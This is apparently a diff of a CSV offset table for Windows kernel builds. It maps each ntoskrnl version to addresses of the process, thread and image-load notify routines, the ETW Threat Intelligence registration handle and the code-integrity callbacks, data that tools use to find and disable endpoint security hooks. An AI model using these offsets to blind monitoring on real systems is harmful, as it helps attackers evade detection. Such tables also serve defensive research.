-ntoskrnl_22000-493.exe,cf6140,cf6340,cf5f40,87a,c15d58,20,60,d06890,d068c0,c8 -ntoskrnl_22000-527.exe,cf6300,cf5f00,cf6100,87a,c15d58,20,60,d06890,d068c0,c8 -ntoskrnl_22000-556.exe,cf62c0,cf5ec0,cf60c0,87a,c15d78,20,60,d06890,d068c0,c8 -ntoskrnl_22000-593.exe,cf63c0,cf61c0,cf5fc0,87a,c15d78,20,60,d06890,d068c0,c8 -ntoskrnl_22000-613.exe,cf6340,cf6140,cf5f40,87a,c15d78,20,60,d06890,d068c0,c8 -ntoskrnl_22000-652.exe,cf62c0,cf60c0,cf5ec0,87a,c163d8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-675.exe,cf6300,cf6100,cf5f00,87a,c163d8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-739.exe,cf62c0,cf60c0,cf5ec0,87a,c163c0,20,60,d06890,d068c0,c8 -ntoskrnl_22000-778.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-795.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-832.exe,cf6380,cf6180,cf5f80,87a,c163a8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-856.exe,cf6300,cf6100,cf5f00,87a,c16438,20,60,d06890,d068c0,c8 -ntoskrnl_22000-918.exe,cf6440,cf6240,cf6040,87a,c15d50,20,60,d06890,d068c0,c8 -ntoskrnl_22000-978.exe,cf6440,cf6240,cf6040,87a,c15d50,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1042.exe,cf6300,cf6100,cf5f00,87a,c163d0,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1098.exe,cf63c0,cf61c0,cf5fc0,87a,c163e0,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1165.exe,cf63c0,cf61c0,cf5fc0,87a,c16398,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1219.exe,cf6340,cf6140,cf5f40,87a,c16398,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1281.exe,cf6000,cf6200,cf6400,87a,c15d78,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1335.exe,cf6100,cf6300,cf5f00,87a,c15db8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1455.exe,cf5fc0,cf61c0,cf5dc0,87a,c15cd8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1516.exe,cf5f40,cf6140,cf6340,87a,c15d58,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1574.exe,cf5f80,cf6180,cf6380,87a,c163f8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1641.exe,cf5fc0,cf61c0,cf63c0,87a,c163d8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1696.exe,cf6200,cf6400,cf6000,87a,c163f8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1761.exe,cf62c0,cf64c0,cf60c0,87a,c163b8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1817.exe,cf5f80,cf6180,cf6380,87a,c16408,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1880.exe,cf5f80,cf6180,cf6380,87a,c15d78,20,60,d06890,d068c0,c8 -ntoskrnl_22000-1936.exe,cf6180,cf6380,cf5f80,87a,c15d38,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2003.exe,cf61c0,cf63c0,cf5fc0,87a,c15d38,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2057.exe,cf6040,cf6240,cf6440,87a,c15d58,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2124.exe,cf5fc0,cf61c0,cf63c0,87a,c15d38,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2176.exe,cf5fc0,cf61c0,cf63c0,87a,c15d18,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2245.exe,cf6000,cf6200,cf6400,87a,c15d58,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2295.exe,cf61c0,cf63c0,cf5fc0,87a,c15d38,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2360.exe,cf64c0,cf60c0,cf62c0,87a,c15d58,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2416.exe,cf6100,cf6300,cf6500,87a,c15df8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2482.exe,cf6440,cf6040,cf6240,87a,c15d58,20,60,d06890,d068c0,c8 -ntoskrnl_22000-2538.exe,cf6240,cf6440,cf6040,87a,c15df8,20,60,d06890,d068c0,c8 -ntoskrnl_22621-382.exe,d0bb60,d0bd60,d0bf60,87a,c317f8,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-525.exe,d0bbe0,d0bde0,d0bfe0,87a,c31f90,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-608.exe,d0bd20,d0bf20,d0c120,87a,c31fb0,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-674.exe,d0bc20,d0be20,d0c020,87a,c31f70,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-675.exe,d0bc20,d0be20,d0c020,87a,c31f70,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-755.exe,d0bae0,d0bce0,d0bee0,87a,c31f40,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-819.exe,d0bde0,d0bfe0,d0bbe0,87a,c31f20,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-900.exe,d0c5e0,d0c1e0,d0c3e0,87a,c31818,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-963.exe,d0c0e0,d0c2e0,d0c4e0,87a,c317b8,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1105.exe,d0c160,d0c360,d0c560,87a,c317b8,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1194.exe,d0c0a0,d0c2a0,d0c4a0,87a,c317f8,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1265.exe,d0c060,d0c260,d0c460,87a,c317b8,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1344.exe,d0c5a0,d0c1a0,d0c3a0,87a,c31f98,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1413.exe,d0c5a0,d0c1a0,d0c3a0,87a,c31f98,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1485.exe,d0c5e0,d0c1e0,d0c3e0,87a,c31fc0,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1555.exe,d0c620,d0c220,d0c420,87a,c32020,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1635.exe,d0c660,d0c260,d0c460,87a,c32000,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1702.exe,d0c2a0,d0c4a0,d0c6a0,87a,c31fe0,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1778.exe,d0bf00,d0c100,d0bd00,87a,c31fe0,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1848.exe,d0bfc0,d0c1c0,d0bdc0,87a,c31fb8,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1928.exe,d0c080,d0c280,d0c480,87a,c31ff8,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-1992.exe,d0c380,d0bf80,d0c180,87a,c31fc8,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-2070.exe,d0c3c0,d0c1c0,d0bfc0,87a,c31920,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-2134.exe,d0c3c0,d0c1c0,d0bfc0,87a,c31900,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-2215.exe,d0c380,d0c180,d0bf80,87a,c31900,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-2283.exe,d0c440,d0c240,d0c040,87a,c318e0,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-2361.exe,d0c510,d0c310,d0c110,87a,c318e0,20,60,d1da18,d1da40,c8 -ntoskrnl_22621-2428.exe,d0c610,d0c410,d0c210,87a,c318e0,20,60,d1ea18,d1ea40,c8 -ntoskrnl_22621-2506.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8 +ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY,_ETW_GUID_ENTRY,PsProcessType,PsThreadType,_OBJECT_TYPE,SeCiCallbacks +ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8,31ee80 +ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8,31ef40 +ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8,31df40 +ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8,31df40 +ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8,31df40 +ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8,31df40 +ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8,31df40 +ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8,31df40 +ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8,31df40 +ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8,328060 +ntoskrnl_10240-17741.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8,328060 +ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8,328060 +ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8,328060 +ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8,328060 +ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cd228,3cd240,c8,328020 +ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8,326040 +ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8,326040 +ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18135.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18187.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18215.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b040 +ntoskrnl_10240-18333.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8,32b060 +ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8,329080 +ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8,329080 +ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8,32a040 +ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8,32a040 +ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8,32a040 +ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8,32a040 +ntoskrnl_10240-18609.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8,32a040 +ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8,32a040 +ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8,329060 +ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8,329060 +ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8,329060 +ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8,329060 +ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8,329060 +ntoskrnl_10240-19086.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8,328040 +ntoskrnl_10240-19119.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8,328040 +ntoskrnl_10240-19145.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8,328040 +ntoskrnl_10240-19204.exe,3664a0,3662a0,3660a0,6b2,0,20,50,3cc228,3cc248,c8,328020 +ntoskrnl_10240-19235.exe,366520,366320,366120,6b2,0,20,50,3cc228,3cc248,c8,328020 +ntoskrnl_10240-19325.exe,366520,366320,366120,6b2,0,20,50,3cc228,3cc248,c8,328020 +ntoskrnl_10240-19567.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3cf228,3cf248,c8,32b020 +ntoskrnl_10240-19869.exe,369520,369320,369120,6b2,0,20,50,3cf230,3cf248,c8,32b060 +ntoskrnl_10240-19983.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf230,3cf248,c8,32b0c0 +ntoskrnl_10240-20048.exe,369520,369320,369120,6b2,0,20,50,3cf230,3cf248,c8,32b060 +ntoskrnl_10240-20107.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf228,3cf248,c8,32b0a0 +ntoskrnl_10240-20161.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060 +ntoskrnl_10240-20232.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060 +ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8,2d8d40 +ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00 +ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00 +ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00 +ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8,2dbde0 +ntoskrnl_10586-1358.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8,2dbde0 +ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8,2dbde0 +ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8,2dbde0 +ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50,382228,382248,c8,2dbdc0 +ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50,3a8210,3a8230,c8,2ff0a0 +ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50,3a8210,3a8230,c8,2fefe0 +ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8,2f9000 +ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8,2f9000 +ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8,2f9000 +ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8,2f8000 +ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8,2f8000 +ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8,2f8000 +ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8,2f8000 +ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8,302120 +ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8,302120 +ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8,3011a0 +ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8,3011a0 +ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8,3000a0 +ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8,3000a0 +ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50,3a8250,3a8278,c8,2ff140 +ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50,3a5250,3a5278,c8,2fc140 +ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8,2fc180 +ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8,2fc180 +ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8,2fc180 +ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8,2fc0c0 +ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8,2fc160 +ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8,2fc160 +ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8,2fc160 +ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8,2fc1a0 +ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8,2fc1a0 +ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8,2fc1a0 +ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8,2fd060 +ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8,2fd060 +ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8,2fd060 +ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8,2fd060 +ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8,2fcfa0 +ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8,2fd060 +ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8,2fd060 +ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8,2fd060 +ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8,2fd040 +ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8,2fd040 +ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8,2fd040 +ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fdf80 +ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fe000 +ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8,2fe060 +ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fe000 +ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fe000 +ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fe000 +ntoskrnl_14393-4704.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8,2fd000 +ntoskrnl_14393-4770.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8,2fd000 +ntoskrnl_14393-4825.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8,2fd000 +ntoskrnl_14393-4827.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8,2fd000 +ntoskrnl_14393-4886.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8,2fdf60 +ntoskrnl_14393-4889.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8,2fdf60 +ntoskrnl_14393-4946.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8,2fdf60 +ntoskrnl_14393-5006.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fe000 +ntoskrnl_14393-5066.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fe000 +ntoskrnl_14393-5125.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fe000 +ntoskrnl_14393-5192.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8,2fe000 +ntoskrnl_14393-5246.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8,2fe000 +ntoskrnl_14393-5291.exe,33aea0,33aca0,33aaa0,6ca,0,20,50,3a7258,3a7278,c8,2fe000 +ntoskrnl_14393-5356.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8,2fe000 +ntoskrnl_14393-5427.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8,2fe000 +ntoskrnl_14393-5429.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8,2fe000 +ntoskrnl_14393-5501.exe,33dde0,33dbe0,33d9e0,6ca,0,20,50,3aa250,3aa278,c8,300f60 +ntoskrnl_14393-5582.exe,33dee0,33dce0,33dae0,6ca,0,20,50,3aa250,3aa278,c8,301040 +ntoskrnl_14393-5648.exe,33cee0,33cce0,33cae0,6ca,0,20,50,3a9250,3a9278,c8,300040 +ntoskrnl_14393-5717.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300040 +ntoskrnl_14393-5786.exe,33cde0,33cbe0,33c9e0,6ca,0,20,50,3a9250,3a9278,c8,2fff60 +ntoskrnl_14393-5850.exe,33cee0,33cce0,33cae0,6ca,0,20,50,3a9250,3a9278,c8,300080 +ntoskrnl_14393-5921.exe,33ce20,33cc20,33ca20,6ca,0,20,50,3a9250,3a9278,c8,2fffa0 +ntoskrnl_14393-5996.exe,33cf20,33cd20,33cb20,6ca,0,20,50,3a9250,3a9278,c8,300080 +ntoskrnl_14393-6085.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300020 +ntoskrnl_14393-6167.exe,33ce60,33cc60,33ca60,6ca,0,20,50,3a9250,3a9278,c8,300020 +ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 +ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 +ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 +ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8,345bc0 +ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8,345bc0 +ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50,3e1f98,3e1fb0,c8,345c40 +ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50,3e7f98,3e7fb0,c8,34cd00 +ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50,3e7f98,3e7fb0,c8,34cd20 +ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8,34cd20 +ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8,34cd20 +ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50,3e7f98,3e7fb0,c8,34cd00 +ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8,34ace0 +ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8,34ace0 +ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50,3e2f98,3e2fb8,c8,347c80 +ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50,3e3f98,3e3fb8,c8,348d00 +ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8,348ce0 +ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8,348ce0 +ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50,3e3f98,3e3fb8,c8,348d20 +ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8,348ca0 +ntoskrnl_15063-1506.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8,348ca0 +ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8,348ca0 +ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8,348ca0 +ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8,348ca0 +ntoskrnl_15063-1659.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8,348d20 +ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8,348d20 +ntoskrnl_15063-1716.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8,348d20 +ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8,348d20 +ntoskrnl_15063-1779.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8,348d20 